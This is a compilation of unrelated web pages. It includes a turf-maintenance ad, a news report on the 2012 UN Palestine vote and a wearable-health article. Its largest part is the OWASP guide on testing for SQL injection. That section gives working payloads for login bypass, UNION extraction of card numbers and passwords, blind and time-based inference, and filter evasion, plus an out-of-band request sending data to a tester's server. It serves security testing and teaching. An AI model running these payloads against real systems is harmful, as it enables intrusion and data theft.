text:
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We are Synthetic Sports Surfaces Maintenance. We are expert contractors specialising in cleaning and maintaining synthetic turf sports pitches to keep facilities clean and safe for use all year round.
If you'd like more expert advice on synthetic sports surfaces maintenance in Essex our friendly and experienced team will help.
Synthetic sports surfaces maintenance in Essex CO5 7 can often be overlooked due to many people think synthetic pitches are service free; however, this is a common misconception.
To keep your artificial turf sports pitch performing consistently at its best, it is vital that sports surface servicing is carried out.
The extent of this cleaning can vary from sports pitch to pitch and surface to surface.
For example, the surrounding areas of an artificial turf pitch can greatly impact maintaining the surface needs to maintain its drainage qualities and play characteristics.
There are different levels and categories of this service, such as proactive and reactive maintenance.
We can complete both types of servicing on 2G and 3G synthetic turf surfaces http://www.syntheticturfpitchmaintenance.co.uk/surfaces/3g-pitch/essex/.
However, it's recommended that proactive maintenance is regularly carried out to prevent the need for reactive maintenance on your artificial turf surface.
If you would like some advice about sports surface maintenance for your pitch, please fill in our contact form, and we'll get back to you as soon as we can to talk about the costs of these services.
Yes, sports surface cleaning is essential if you want to keep your facility in excellent condition. If it's not kept clean, then it can become dangerous as hazards can occur.
The common problems are that they become slippery, the infill gets dirty, they have flooded, or they rip. If you catch these issues before they get worse, it should be more cost-effective for you to fix them.
Proactive surfacing cleaning in Essex CO5 7 is always advised when building a pitch closest to you because, in the long run, it can prevent costly reactive maintenance visits.
If the synthetic grass sports surface pitch in your surrounding area needs repairs not long after installation, it's possible that you have not been maintaining your floor regularly or correctly.
Proactive maintenance can prevent what could lead to expensive repairs or rejuvenation bills.
Proactive maintenance can be as little as regular brushing and drag matting.
These prevent infill from getting compacted and remove any unwanted plants, weeds and vegetation from the surface that could lead to the build of moss and algae on your flooring.
Without maintaining your infill, your artificial sport facility can both be slippery and inhibiting drainage.
Often a chemical treatment http://www.syntheticturfpitchmaintenance.co.uk/proactive/algae-treatment/essex/ is used to remove and prevent moss and algae growth.
For details on this, please do not hesitate to contact a staff member using the enquiry form.
Many establishments require sports cleaning with synthetic turf pitches to keep their sport surfacing performing consistently to ensure the playing characteristics of the artificial turf don't deteriorate.
These establishments include:
best prices guaranteed
GET A QUOTE NOWWhen looking at maintaining a sports court, our specialists can carry out a series of steps to keep the surrounding areas in great condition. To do this, we follow these simple steps:
This can help several facilities in Essex CO5 7 extend the court's life expectancy. Speak to us today if you would like to find out more information and receive more details.
An artificial pitch requires constant grooming – at the very least, once a week. Every two weeks, a full-size pitch that is used 35 hours per week should be groomed.
Although brushing isn't rocket science, there's a lot more to it than that. It fixes minor faults in the surface, such as seam failures and so on.
It's often thought that some nearby synthetic sports surfaces maintenance packages can be quite expensive; however, this is not entirely correct.
There are service packages to fit almost any budget, with costs and prices varying depending on the extent and how regular the servicing is carried out on 2G 2nd generation or 3G 3rd generation artificial sports pitch.
We can also complete sport surface upgrades http://www.syntheticturfpitchmaintenance.co.uk/reactive/upgrade-surfacing/essex/ to improve the flooring ensure the best playing qualities.
It is not always necessary that you will need a specialist professional servicing contractor to carry out the cleaning on your local pitch.
You may be able to carry out some degree of servicing on the sand filled 2G sport surfacing, 3G sports pitch, 4G or 5G facility yourself.
Please fill in our contact form for details about the costs in Essex CO5 7 and surface specifications and prices.
Thanks for reading our information. If you're interested in the services we provide, contact our team today, and we will be in touch with you as quickly as possible.


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text:
WSTG - Stable
Testing for SQL Injection
SQL injection testing checks if it is possible to inject data into the application so that it executes a user-controlled SQL query in the database. Testers find a SQL injection vulnerability if the application uses user input to create SQL queries without proper input validation. A successful exploitation of this class of vulnerability allows an unauthorized user to access or manipulate data in the database.
An SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:
select title, text from news where id=$id
In the example above the variable $id
contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data "10 or 1=1", changing the logic of the SQL statement, modifying the WHERE clause adding a condition "or 1=1".
select title, text from news where id=10 or 1=1
SQL Injection attacks can be divided into the following three classes:
- Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
- Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
- Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):
- Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
- Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
- Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
- Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
- Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn't have some kind of answer (result, output, or error) from the application.
Test Objectives
- Identify SQL injection points.
- Assess the severity of the injection and the level of access that can be achieved through it.
How to Test
Detection Techniques
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:
- Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
- Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
- E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.
The very first test usually consists of adding a single quote '
or a semicolon ;
to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113
Also comment delimiters (--
or /* */
, etc) and other SQL keywords like AND
and OR
can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
Monitor all the responses from the web server and have a look at the HTML/JavaScript source code. Sometimes the error is present inside them but for some reason (e.g. JavaScript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.
Standard SQL Injection Testing
Classic SQL Injection
Consider the following SQL query:
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:
$username = 1' or '1' = '1
$password = 1' or '1' = '1
The query will be:
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.
In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.
Another example of query is the following:
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is *
. In Oracle the symbol is --
. This said, the values that we'll use as Username and Password are:
$username = 1' or '1' = '1'))/*
$password = foo
In this way, we'll get the following query:
SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)
The URL request will be:
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator LIMIT <num>
, where <num>
is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:
$username = 1' or '1' = '1')) LIMIT 1/*
$password = foo
In this way, we create a request like the follow:
SELECT Statement
Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product
Consider also the request to a script who executes the query above:
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.
Consider the request:
http://www.example.com/product.php?id=10 AND 1=2
SELECT * FROM products WHERE id_product=10 AND 1=2
In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:
http://www.example.com/product.php?id=10 AND 1=1
Stacked Queries
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.
Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product
A way to exploit the above scenario would be:
http://www.example.com/product.php?id=10; INSERT INTO users (…)
This way is possible to execute many queries in a row and independent of the first query.
Fingerprinting the Database
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.
Errors Returned by the Application
The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1
One complete UNION SELECT with version() can also help to know the back end database.
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1
ORA-00933: SQL command not properly ended
MS SQL Server:
Microsoft SQL Native Client error '80040e14'
Unclosed quotation mark after the character string
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.
If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:
- MySql: 'test' + 'ing'
- SQL Server: 'test' 'ing'
Oracle: 'test' 'ing' -
PostgreSQL: 'test' 'ing'
Exploitation Techniques
Union Exploitation Technique
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
We will set the following $id
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
We will have the following query:
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword ALL
is necessary to get around queries that use the keyword DISTINCT
. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.
In order to achieve this the tester can use ORDER BY
clause followed by a number indicating the numeration of database's column selected:
http://www.example.com/product.php?id=10 ORDER BY 10--
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT
statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:
Unknown column '10' in 'order clause'
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
If the query fails, the tester will probably see a message like:
All cells in a column must have the same datatype
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT
clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):
http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
Boolean Exploitation Technique
The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id
vulnerable to SQL injection. This means that carrying out the following request:
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:
SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.
ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.
LENGTH (text): it gives back the number of characters in the input text.
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id
$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
That creates the following query (from now on, we will call it "inferential query"):
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id
$Id=1' AND '1' = '2
Which will create the following query:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.
We will insert the following value for the field Id
$Id=1' AND LENGTH(username)=N AND '1' = '1
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.
Error Based Exploitation Technique
An Error based exploitation technique is useful when the tester for some reason can't exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product
Consider also the request to a script who executes the query above:
The malicious request would be (e.g. Oracle 10g):
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME
. This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the user. When the database looks for a hostname with the user database name, it will fail and return an error message like:
ORA-292257: host SCOTT unknown
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.
Out of Band Exploitation Technique
This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester's server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.
Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product
Consider also the request to a script who executes the query above:
The malicious request would be:
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELECT user FROM DUAL)--
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request
. This Oracle function will try to connect to testerserver
and make a HTTP GET request containing the return from the query SELECT user FROM DUAL
. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:
/home/tester/nc –nLp 80
Host: testerserver.com
Connection: close
Time Delay Exploitation Technique
The time delay exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product
Consider also the request to a script who executes the query above:
The malicious request would be (e.g. MySql 5.x):
http://www.example.com/product.php?id=10 AND IF(version() like '5%', sleep(10), 'false'))--
In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn't need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.
Stored Procedure Injection
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.
Consider the following SQL Server Stored Procedure:
Create procedure user_login @username varchar(20), @passwd varchar(20)
Declare @sqlstring varchar(250)
Set @sqlstring = '
Select 1 from users
Where username = ' + @username + ' and passwd = ' + @passwd
User input:
anyusername or 1=1'
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.
This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.
Consider the following SQL Server Stored Procedure:
procedure get_report @columnamelist varchar(7900)
Declare @sqlstring varchar(8000)
Set @sqlstring = '
Select ' + @columnamelist + ' from ReportTable'
User input:
1 from users; update users set password = 'password'; select *
This will result in the report running and all users' passwords being updated.
Automated Exploitation
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap
SQL Injection Signature Evasion Techniques
The techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs). Also refer to https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
Dropping space or adding spaces that won't affect the SQL statement. For example
or 'a'='a'
or 'a' = 'a'
Adding special character like new line or tab that won't change the SQL statement execution. For example,
Null Bytes
Use null byte (%00) prior to any characters that the filter is blocking.
For example, if the attacker may inject the following SQL
' UNION SELECT password FROM Users WHERE username='admin'--
to add Null Bytes will be
%00' UNION SELECT password FROM Users WHERE username='admin'--
SQL Comments
Adding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter. Take this SQL injection as example.
' UNION SELECT password FROM Users WHERE name='admin'--
Adding SQL inline comments will be.
URL Encoding
Use the online URL encoding to encode the SQL statement
' UNION SELECT password FROM Users WHERE name='admin'--
The URL encoding of the SQL injection statement will be
Character Encoding
Char() function can be used to replace English char. For example, char(114,111,111,116) means root
' UNION SELECT password FROM Users WHERE name='root'--
To apply the Char(), the SQL injeciton statement will be
' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--
String Concatenation
Concatenation breaks up SQL keywords and evades filters. Concatenation syntax varies based on database engine. Take MS SQL engine as an example
select 1
The simple SQL statement can be changed as below by using concatenation
Hex Encoding
Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char. For example, root
can be represented as 726F6F74
Select user from users where name = 'root'
The SQL statement by using HEX value will be:
Select user from users where name = 726F6F74
Select user from users where name = unhex('726F6F74')
Declare Variables
Declare the SQL injection statement into variable and execute it.
For example, SQL injection statement below
Union Select password
Define the SQL statement into variable SQLivar
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
Alternative Expression of 'or 1 = 1'
OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' > 'S'
or 20 > 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1
- To secure the application from SQL injection vulnerabilities, refer to the SQL Injection Prevention CheatSheet.
- To secure the SQL server, refer to the Database Security CheatSheet.
For generic input validation security, refer to the Input Validation CheatSheet.
- SQL Injection Fuzz Strings (from wfuzz tool) - Fuzzdb
- sqlbftools
- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool
- Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool
Technology specific Testing Guide pages have been created for the following DBMSs:
- Victor Chapela: "Advanced SQL Injection"
- Chris Anley: "More Advanced SQL Injection"
- David Litchfield: "Data-mining with SQL Injection and Inference"
- Imperva: "Blinded SQL Injection"
- Ferruh Mavituna: "SQL Injection Cheat Sheet"
- Kevin Spett from SPI Dynamics: "SQL Injection"
- Kevin Spett from SPI Dynamics: "Blind SQL Injection"
- "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan": "Beyond SQLi: Obfuscate and Bypass"
- Adi Kaploun and Eliran Goshen, Check Point Threat Intelligence & Research Team: "The Latest SQL Injection Trends"


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A curated collection of 29 Framer website designs, each review showcasing a full screenshot of the design and its standout features. Get inspired and plan your Framer website today. Framer is a no-code website builder. Need a Framer templates? See Framer Templates. Unlock endless design inspiration 👉 Subscribe to our weekly newsletter.
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With the celebration of their 25th Anniversary, Artesania Rinconada introduced their Silver Anniversary collection. Each of the designs in this collection are accented with gold and platinum glazes.
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For well over a century, Roger Williams Medical Center has been a fixture in our community, city and state. We are known as a health provider focused on the highest level of care with a personal touch.
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Brittle Brothers Nashville food gifts
My wife and I live in Donelson, where we both were raised and graduated from high school (DCA Classes of 1983 and 1984). Our current home is on the Cumberland River, very close to my childhood home and the former homes of both my McDonald and Rice grandparents.
Our daughter and son are grown now, and our daughter, Stephanie Miller, is my real estate partner. She lives in Lebanon with her husband and their two children. While Stephanie and I specialize in the areas of Downtown Nashville, Donelson, Hermitage, Old Hickory, Mt. Juliet and Lebanon, we have and do serve clients all over Middle Tennessee.
As a Nashville native, I've spent a lifetime watching our city evolve, and I am enthusiastic about showcasing it to others and serving their real estate needs.
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The United Nations General Assembly on Thursday overwhelmingly approved a resolution upgrading Palestine to a "non-member observer state," from a "non-member observer entity."
Before the vote and in front of the assembly, Palestinian President Mahmoud Abbas said this was the body's "last chance to save the two-state solution."
He said despite all the violence and Israeli "aggressions" and its "occupation," Palestinians and the Palestinian Authority have insisted on harmony and have looked at the "U.N. as a beacon of hope."
"We did not come here seeking to delegitimize a state established years ago, and that is Israel. Rather we came to affirm the legitimacy of a state that must now achieve its independence and that is Palestine," Abbas said.
"The moment has come for the world to say clearly: enough of aggression, enough with settlements and occupation," Abbas said.
Exactly 65 years after the General Assembly convened at Lake Success, N.Y., voted to divide Palestine between a Jewish state and an Arab one, the same body voted — 138-9, with 41 abstentions — in favor of recognizing the State of Palestine.
The United States and Israel, which suffered a stinging diplomatic setback, voted against the measure, while France and Spain voted in favor.
As Mark reported earlier, this vote gives Palestinians the same status as the Vatican, but perhaps more importantly, it gives Palestinians access to other U.N. bodies like the International Criminal Court, where Palestinians could launch complaints against Israel.
The United States has repeatedly said that this was not the right way toward a resolution of the Israeli-Palestinian conflict.
"This resolution is not going to take [Palestinians] closer to statehood," Victoria Nuland, a spokeswoman for the State Department, said in a briefing yesterday. "It does nothing to get them closer to statehood, and it may actually make the environment more difficult."
The resolution reaffirms the "the right of the Palestinian people to self-determination, including the right to their independent State of Palestine," and also declares the Palestine Liberation Organization the "representative of the Palestinian people."
The PLO and its leader, Abbas, control the West Bank, but not the Gaza Strip, which is under the control of Hamas. As The New York Times explains it, the credibility of Abbas and his Palestinian Authority has suffered, especially after the recent eight-day Israeli assault on Gaza.
"That shift in sentiment is one reason that some Western countries give for backing the United Nations resolution, to strengthen Mr. Abbas and his more moderate colleagues in their contest with Hamas," the Times explained.
Israel, which has had a relationship with Abbas but does not talk to Hamas directly, said it would take action against the Palestinian Authority in response to this vote.
"I can only say that our response will be proportionate to what is ultimately a fundamental violation by the Palestinians of signed agreements," Israeli government spokesman Mark Regev told NPR's Philip Reeves. "I mean they committed to solving all outstanding issues through negotiations. And by going to the U.N., they are doing the opposite."
Nuland said yesterday that the Obama administration was trying to get Congress to release money reserved for the Palestinian Authority, but the resolution doesn't "make it any easier."
The Israeli ambassador to the U.N., Ron Prosor, said in a speech before the General Assembly that the resolution "raises expectations that cannot be met."
Israel wants peace, he said, while Palestinians are "avoiding it." This resolution, he said, meant the Palestinians were "turning their backs on peace."
"No decision of the U.N. can break the 4,000-year bond between the people of Israel and the land of Israel," Prosor said.
As the vote took place, the celebrations that started earlier today in Ramallah continued into the early morning.
Update at 5:10 p.m. ET. 'Unfortunate And Counterproductive':
Shortly after the vote, the United States ambassador to the U.N., Susan Rice, said this resolution was "unfortunate and counterproductive."
"Progress toward a lasting peace cannot be made by pressing a green button," Rice said.
She also made clear that the resolution "does not establish a Palestinian state."
The State Department has posted full text of her speech.
Copyright 2021 NPR. To see more, visit https://www.npr.org.


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Healthcare You Can Wear
January 30, 2013
It used to be that if a doctor wanted to find out a patient's blood pressure, heart rate, or other vital signs, it would require a visit to the office or the hospital. That's all been changing with the design and maturation of wearable sensor technology, which will give doctors or other caregivers the ability to monitor a person's health remotely through a patch worn on the body.
The technology -- from Vancive Medical Technologies, Proteus Digital Health, and others -- paves the way for a range of new applications in weight management, wellness, and prevention programs that could improve a person's health, and actually eliminate the need for doctor visits.
"Healthcare has expanded now -- there is a lot of accountability on the part of the user," Deepak Prakash, global market segment manager of wearable sensors for Vancive, told us, going on to say:
People are participating in wellness programs. They need tools, and hospitals need better tools to deliver healthcare to maintain costs. Once you've been treated and released, [doctors] still want to monitor you, especially during the risky periods, so you don't get sick again."
To help accomplish these goals, in June 2001, Vancive, best known for developing durable medical adhesives, licensed technology from Proteus, which last year had its ingestible sensor technology approved by the FDA for use in pharmaceutical manufacturing. The Proteus Ingestion Event Marker (IEM) can be integrated into tablets to help people keep track of when they take their medication. The sensor communicates with a patch on the skin to log the time it is taken, as well as to provide other information.
Proteus developed its own adhesive-attachable patch after determining there were no devices that sufficiently addressed what the company wanted in terms of size, comfort, and cost, according to David O'Reilly, chief product officer at Proteus.
This skin sensor is the technology Vancive has combined with its own expertise in adhesives that are built to last a week or more to design a new wearable device of its own, a 4-inch x 2-inch Band-Aid-like adhesive that can be worn on the body -- on the torso near the heart -- and monitor vital signs. "The device has multiple sensors in it," Prakash told us. "Through this and through algorithms we've developed, we're able to derive physiological information from your body."
Sensors in the patch can record a person's ECG (heart rate or heart variability), temperature, galvanic skin response (GSR), and activity such as the position or angle of one's body through an accelerometer, transmitting data about these physical factors via Bluetooth to caregivers.
Prevention as art of the cure
Indeed, wearable patches, and even clothing that monitors a person's health, are becoming the way forward for a medical industry that's increasing its focus on wellness and preventative medicine, rather than merely treating disease. Some engineers are even building sensors into clothing bigger than a patch to monitor people's vital signs and other physical activity.
Boston-based Rest Devices, for instance, has designed a shirt with sensors to monitor a person's sleep to diagnose irregularities such as sleep apnea, as well as a baby onesie that can allow parents or caregivers to monitor a child as he or she sleeps. Sensors inside the clothing send information to a smartphone application or tablet via a wireless connection.
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5 Reasons You Should Work With An Investor Instead of An Agent To Sell Your House
It's time to sell your house. You keep asking yourself if you should hire an agent to sell your house. Do you want to pay commissions? How long are you willing to wait for the house to receive an offer? How long will it take to close? What sort of repairs will you have to make? Are you available to show your house with 24-hour notice, or less?
No Property Showings
If you decide to sell your house directly to a professional house buyer you will not have to worry about going through a roller coaster of emotions. There are no frustrating, middle-of-dinner phone calls asking if you are available to show your house. You don't have to worry about possibly running into a buyer's agent or their clients or dealing with them asking you questions that you really shouldn't answer anyway.
No Commissions or Fees
